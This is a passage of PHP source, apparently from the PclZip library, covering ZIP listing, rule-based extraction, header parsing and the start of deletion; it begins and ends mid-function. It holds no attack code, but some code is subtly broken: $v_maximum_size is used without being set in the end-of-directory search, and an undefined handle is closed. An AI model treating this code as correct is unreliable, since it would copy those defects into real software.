function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
{
$v_result=1;
$v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
$p_nb_entries, $p_size,
$p_offset, strlen($p_comment));
fputs($this->zip_fd, $v_binary_data, 22);
if (strlen($p_comment) != 0)
{
fputs($this->zip_fd, $p_comment, strlen($p_comment));
}
return $v_result;
}
function privList(&$p_list)
{
$v_result=1;
$this->privDisableMagicQuotes();
if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
{
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
return PclZip::errorCode();
}
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_central_dir['offset']))
{
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
return PclZip::errorCode();
}
for ($i=0; $i<$v_central_dir['entries']; $i++)
{
if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_header['index'] = $i;
$this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
unset($v_header);
}
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
function privConvertHeader2FileInfo($p_header, &$p_info)
{
$v_result=1;
$v_temp_path = PclZipUtilPathReduction($p_header['filename']);
$p_info['filename'] = $v_temp_path;
$v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
$p_info['stored_filename'] = $v_temp_path;
$p_info['size'] = $p_header['size'];
$p_info['compressed_size'] = $p_header['compressed_size'];
$p_info['mtime'] = $p_header['mtime'];
$p_info['comment'] = $p_header['comment'];
$p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
$p_info['index'] = $p_header['index'];
$p_info['status'] = $p_header['status'];
$p_info['crc'] = $p_header['crc'];
return $v_result;
}
function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
{
$v_result=1;
$this->privDisableMagicQuotes();
if ( ($p_path == "")
|| ( (substr($p_path, 0, 1) != "/")
&& (substr($p_path, 0, 3) != "../")
&& (substr($p_path,1,2)!=":/")))
$p_path = "./".$p_path;
if (($p_path != "./") && ($p_path != "/"))
{
while (substr($p_path, -1) == "/")
{
$p_path = substr($p_path, 0, strlen($p_path)-1);
}
}
if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
{
$p_remove_path .= '/';
}
$p_remove_path_size = strlen($p_remove_path);
if (($v_result = $this->privOpenFd('rb')) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_pos_entry = $v_central_dir['offset'];
$j_start = 0;
for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
{
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_pos_entry))
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
return PclZip::errorCode();
}
$v_header = array();
if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_header['index'] = $i;
$v_pos_entry = ftell($this->zip_fd);
$v_extract = false;
if ( (isset($p_options[PCLZIP_OPT_BY_NAME]))
&& ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {
if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
if ( (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
&& (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
$v_extract = true;
}
}
elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
$v_extract = true;
}
}
}
else if ( (isset($p_options[PCLZIP_OPT_BY_PREG]))
&& ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
$v_extract = true;
}
}
else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX]))
&& ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {
if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
$v_extract = true;
}
if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
$j_start = $j+1;
}
if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
break;
}
}
}
else {
$v_extract = true;
}
if ( ($v_extract)
&& ( ($v_header['compression'] != 8)
&& ($v_header['compression'] != 0))) {
$v_header['status'] = 'unsupported_compression';
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
"Filename '".$v_header['stored_filename']."' is "
."compressed by an unsupported compression "
."method (".$v_header['compression'].") ");
return PclZip::errorCode();
}
}
if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
$v_header['status'] = 'unsupported_encryption';
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
"Unsupported encryption for "
." filename '".$v_header['stored_filename']
."'");
return PclZip::errorCode();
}
}
if (($v_extract) && ($v_header['status'] != 'ok')) {
$v_result = $this->privConvertHeader2FileInfo($v_header,
$p_file_list[$v_nb_extracted++]);
if ($v_result != 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_extract = false;
}
if ($v_extract)
{
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_header['offset']))
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
return PclZip::errorCode();
}
if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
$v_string = '';
$v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
if ($v_result1 < 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result1;
}
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
$p_file_list[$v_nb_extracted]['content'] = $v_string;
$v_nb_extracted++;
if ($v_result1 == 2) {
break;
}
}
elseif ( (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
&& ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
$v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
if ($v_result1 < 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result1;
}
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
if ($v_result1 == 2) {
break;
}
}
else {
$v_result1 = $this->privExtractFile($v_header,
$p_path, $p_remove_path,
$p_remove_all_path,
$p_options);
if ($v_result1 < 1) {
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result1;
}
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
if ($v_result1 == 2) {
break;
}
}
}
}
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
{
$v_result=1;
if (($v_result = $this->privReadFileHeader($v_header)) != 1)
{
return $v_result;
}
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
}
if ($p_remove_all_path == true) {
if (($p_entry['external']&0x00000010)==0x00000010) {
$p_entry['status'] = "filtered";
return $v_result;
}
$p_entry['filename'] = basename($p_entry['filename']);
}
else if ($p_remove_path != "")
{
if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
{
$p_entry['status'] = "filtered";
return $v_result;
}
$p_remove_path_size = strlen($p_remove_path);
if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
{
$p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
}
}
if ($p_path != '') {
$p_entry['filename'] = $p_path."/".$p_entry['filename'];
}
if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
$v_inclusion
= PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
$p_entry['filename']);
if ($v_inclusion == 0) {
PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
"Filename '".$p_entry['filename']."' is "
."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
return PclZip::errorCode();
}
}
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
if ($v_result == 0) {
$p_entry['status'] = "skipped";
$v_result = 1;
}
if ($v_result == 2) {
$p_entry['status'] = "aborted";
$v_result = PCLZIP_ERR_USER_ABORTED;
}
$p_entry['filename'] = $v_local_header['filename'];
}
if ($p_entry['status'] == 'ok') {
if (file_exists($p_entry['filename']))
{
if (is_dir($p_entry['filename']))
{
$p_entry['status'] = "already_a_directory";
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
"Filename '".$p_entry['filename']."' is "
."already used by an existing directory");
return PclZip::errorCode();
}
}
else if (!is_writeable($p_entry['filename']))
{
$p_entry['status'] = "write_protected";
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
"Filename '".$p_entry['filename']."' exists "
."and is write protected");
return PclZip::errorCode();
}
}
else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
{
if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
&& ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
}
else {
$p_entry['status'] = "newer_exist";
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
"Newer version of '".$p_entry['filename']."' exists "
."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
return PclZip::errorCode();
}
}
}
else {
}
}
else {
if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
$v_dir_to_check = $p_entry['filename'];
else if (!strstr($p_entry['filename'], "/"))
$v_dir_to_check = "";
else
$v_dir_to_check = dirname($p_entry['filename']);
if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
$p_entry['status'] = "path_creation_fail";
$v_result = 1;
}
}
}
if ($p_entry['status'] == 'ok') {
if (!(($p_entry['external']&0x00000010)==0x00000010))
{
if ($p_entry['compression'] == 0) {
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
{
$p_entry['status'] = "write_error";
return $v_result;
}
$v_size = $p_entry['compressed_size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($this->zip_fd, $v_read_size);
@fwrite($v_dest_file, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
fclose($v_dest_file);
touch($p_entry['filename'], $p_entry['mtime']);
}
else {
if (($p_entry['flag'] & 1) == 1) {
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
return PclZip::errorCode();
}
if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
&& (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
|| (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
&& ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
$v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
if ($v_result < PCLZIP_ERR_NO_ERROR) {
return $v_result;
}
}
else {
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
$v_file_content = @gzinflate($v_buffer);
unset($v_buffer);
if ($v_file_content === FALSE) {
$p_entry['status'] = "error";
return $v_result;
}
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
$p_entry['status'] = "write_error";
return $v_result;
}
@fwrite($v_dest_file, $v_file_content, $p_entry['size']);
unset($v_file_content);
@fclose($v_dest_file);
}
@touch($p_entry['filename'], $p_entry['mtime']);
}
if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
@chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
}
}
}
if ($p_entry['status'] == "aborted") {
$p_entry['status'] = "skipped";
}
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
if ($v_result == 2) {
$v_result = PCLZIP_ERR_USER_ABORTED;
}
}
return $v_result;
}
function privExtractFileUsingTempFile(&$p_entry, &$p_options)
{
$v_result=1;
$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
fclose($v_file);
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
return PclZip::errorCode();
}
$v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
@fwrite($v_dest_file, $v_binary_data, 10);
$v_size = $p_entry['compressed_size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($this->zip_fd, $v_read_size);
@fwrite($v_dest_file, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
@fwrite($v_dest_file, $v_binary_data, 8);
@fclose($v_dest_file);
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
$p_entry['status'] = "write_error";
return $v_result;
}
if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
@fclose($v_dest_file);
$p_entry['status'] = "read_error";
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
return PclZip::errorCode();
}
$v_size = $p_entry['size'];
while ($v_size != 0) {
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @gzread($v_src_file, $v_read_size);
@fwrite($v_dest_file, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
@fclose($v_dest_file);
@gzclose($v_src_file);
@unlink($v_gzip_temp_name);
return $v_result;
}
function privExtractFileInOutput(&$p_entry, &$p_options)
{
$v_result=1;
if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
return $v_result;
}
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
}
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
if ($v_result == 0) {
$p_entry['status'] = "skipped";
$v_result = 1;
}
if ($v_result == 2) {
$p_entry['status'] = "aborted";
$v_result = PCLZIP_ERR_USER_ABORTED;
}
$p_entry['filename'] = $v_local_header['filename'];
}
if ($p_entry['status'] == 'ok') {
if (!(($p_entry['external']&0x00000010)==0x00000010)) {
if ($p_entry['compressed_size'] == $p_entry['size']) {
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
echo $v_buffer;
unset($v_buffer);
}
else {
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
$v_file_content = gzinflate($v_buffer);
unset($v_buffer);
echo $v_file_content;
unset($v_file_content);
}
}
}
if ($p_entry['status'] == "aborted") {
$p_entry['status'] = "skipped";
}
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
if ($v_result == 2) {
$v_result = PCLZIP_ERR_USER_ABORTED;
}
}
return $v_result;
}
function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
{
$v_result=1;
$v_header = array();
if (($v_result = $this->privReadFileHeader($v_header)) != 1)
{
return $v_result;
}
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
}
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
if ($v_result == 0) {
$p_entry['status'] = "skipped";
$v_result = 1;
}
if ($v_result == 2) {
$p_entry['status'] = "aborted";
$v_result = PCLZIP_ERR_USER_ABORTED;
}
$p_entry['filename'] = $v_local_header['filename'];
}
if ($p_entry['status'] == 'ok') {
if (!(($p_entry['external']&0x00000010)==0x00000010)) {
if ($p_entry['compression'] == 0) {
$p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
}
else {
$v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
if (($p_string = @gzinflate($v_data)) === FALSE) {
}
}
}
else {
}
}
if ($p_entry['status'] == "aborted") {
$p_entry['status'] = "skipped";
}
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_entry, $v_local_header);
$v_local_header['content'] = $p_string;
$p_string = '';
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
$p_string = $v_local_header['content'];
unset($v_local_header['content']);
if ($v_result == 2) {
$v_result = PCLZIP_ERR_USER_ABORTED;
}
}
return $v_result;
}
function privReadFileHeader(&$p_header)
{
$v_result=1;
$v_binary_data = @fread($this->zip_fd, 4);
$v_data = unpack('Vid', $v_binary_data);
if ($v_data['id'] != 0x04034b50)
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
return PclZip::errorCode();
}
$v_binary_data = fread($this->zip_fd, 26);
if (strlen($v_binary_data) != 26)
{
$p_header['filename'] = "";
$p_header['status'] = "invalid_header";
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
return PclZip::errorCode();
}
$v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
$p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
if ($v_data['extra_len'] != 0) {
$p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
}
else {
$p_header['extra'] = '';
}
$p_header['version_extracted'] = $v_data['version'];
$p_header['compression'] = $v_data['compression'];
$p_header['size'] = $v_data['size'];
$p_header['compressed_size'] = $v_data['compressed_size'];
$p_header['crc'] = $v_data['crc'];
$p_header['flag'] = $v_data['flag'];
$p_header['filename_len'] = $v_data['filename_len'];
$p_header['mdate'] = $v_data['mdate'];
$p_header['mtime'] = $v_data['mtime'];
if ($p_header['mdate'] && $p_header['mtime'])
{
$v_hour = ($p_header['mtime'] & 0xF800) >> 11;
$v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
$v_seconde = ($p_header['mtime'] & 0x001F)*2;
$v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
$v_month = ($p_header['mdate'] & 0x01E0) >> 5;
$v_day = $p_header['mdate'] & 0x001F;
$p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
}
else
{
$p_header['mtime'] = time();
}
$p_header['stored_filename'] = $p_header['filename'];
$p_header['status'] = "ok";
return $v_result;
}
function privReadCentralFileHeader(&$p_header)
{
$v_result=1;
$v_binary_data = @fread($this->zip_fd, 4);
$v_data = unpack('Vid', $v_binary_data);
if ($v_data['id'] != 0x02014b50)
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
return PclZip::errorCode();
}
$v_binary_data = fread($this->zip_fd, 42);
if (strlen($v_binary_data) != 42)
{
$p_header['filename'] = "";
$p_header['status'] = "invalid_header";
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
return PclZip::errorCode();
}
$p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
if ($p_header['filename_len'] != 0)
$p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
else
$p_header['filename'] = '';
if ($p_header['extra_len'] != 0)
$p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
else
$p_header['extra'] = '';
if ($p_header['comment_len'] != 0)
$p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
else
$p_header['comment'] = '';
if (1)
{
$v_hour = ($p_header['mtime'] & 0xF800) >> 11;
$v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
$v_seconde = ($p_header['mtime'] & 0x001F)*2;
$v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
$v_month = ($p_header['mdate'] & 0x01E0) >> 5;
$v_day = $p_header['mdate'] & 0x001F;
$p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
}
else
{
$p_header['mtime'] = time();
}
$p_header['stored_filename'] = $p_header['filename'];
$p_header['status'] = 'ok';
if (substr($p_header['filename'], -1) == '/') {
$p_header['external'] = 0x00000010;
}
return $v_result;
}
function privCheckFileHeaders(&$p_local_header, &$p_central_header)
{
$v_result=1;
if ($p_local_header['filename'] != $p_central_header['filename']) {
}
if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
}
if ($p_local_header['flag'] != $p_central_header['flag']) {
}
if ($p_local_header['compression'] != $p_central_header['compression']) {
}
if ($p_local_header['mtime'] != $p_central_header['mtime']) {
}
if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
}
if (($p_local_header['flag'] & 8) == 8) {
$p_local_header['size'] = $p_central_header['size'];
$p_local_header['compressed_size'] = $p_central_header['compressed_size'];
$p_local_header['crc'] = $p_central_header['crc'];
}
return $v_result;
}
function privReadEndCentralDir(&$p_central_dir)
{
$v_result=1;
$v_size = filesize($this->zipname);
@fseek($this->zip_fd, $v_size);
if (@ftell($this->zip_fd) != $v_size)
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
return PclZip::errorCode();
}
$v_found = 0;
if ($v_size > 26) {
@fseek($this->zip_fd, $v_size-22);
if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
return PclZip::errorCode();
}
$v_binary_data = @fread($this->zip_fd, 4);
$v_data = @unpack('Vid', $v_binary_data);
if ($v_data['id'] == 0x06054b50) {
$v_found = 1;
}
$v_pos = ftell($this->zip_fd);
}
if (!$v_found) {
if ($v_maximum_size > $v_size)
$v_maximum_size = $v_size;
@fseek($this->zip_fd, $v_size-$v_maximum_size);
if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
return PclZip::errorCode();
}
$v_pos = ftell($this->zip_fd);
$v_bytes = 0x00000000;
while ($v_pos < $v_size)
{
$v_byte = @fread($this->zip_fd, 1);
$v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);
if ($v_bytes == 0x504b0506)
{
$v_pos++;
break;
}
$v_pos++;
}
if ($v_pos == $v_size)
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
return PclZip::errorCode();
}
}
$v_binary_data = fread($this->zip_fd, 18);
if (strlen($v_binary_data) != 18)
{
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
return PclZip::errorCode();
}
$v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
if (0) {
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
'The central dir is not at the end of the archive.'
.' Some trailing bytes exists after the archive.');
return PclZip::errorCode();
}
}
if ($v_data['comment_size'] != 0) {
$p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
}
else
$p_central_dir['comment'] = '';
$p_central_dir['entries'] = $v_data['entries'];
$p_central_dir['disk_entries'] = $v_data['disk_entries'];
$p_central_dir['offset'] = $v_data['offset'];
$p_central_dir['size'] = $v_data['size'];
$p_central_dir['disk'] = $v_data['disk'];
$p_central_dir['disk_start'] = $v_data['disk_start'];
return $v_result;
}
function privDeleteByRule(&$p_result_list, &$p_options)
{
$v_result=1;
$v_list_detail = array();
if (($v_result=$this->privOpenFd('rb')) != 1)
{
return $v_result;
}
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
return $v_result;
}
@rewind($this->zip_fd);
$v_pos_entry = $v_central_dir['offset'];
@rewind($this->zip_fd);
if (@fseek($this->zip_fd, $v_pos_entry))
{
$this->privCloseFd();
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
return PclZip::errorCode();
}
$v_header_list = array();
$j_start = 0;
for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
{
$v_header_list[$v_nb_extracted] = array();
if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
{
$this->privCloseFd();
return $v_result;
}
$v_header_list[$v_nb_extracted]['index'] = $i;
$v_found = false;
if ( (isset($p_options[PCLZIP_OPT_BY_NAME]))
&& ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {
if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
if ( (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
&& (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
$v_found = true;
}
elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010)
&& ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
$v_found = true;
}
}
elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
$v_found = true;
}
}
}
else if ( (isset($p_options[PCLZIP_OPT_BY_PREG]))
&& ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
$v_found = true;
}
}
else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX]))
&& ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {
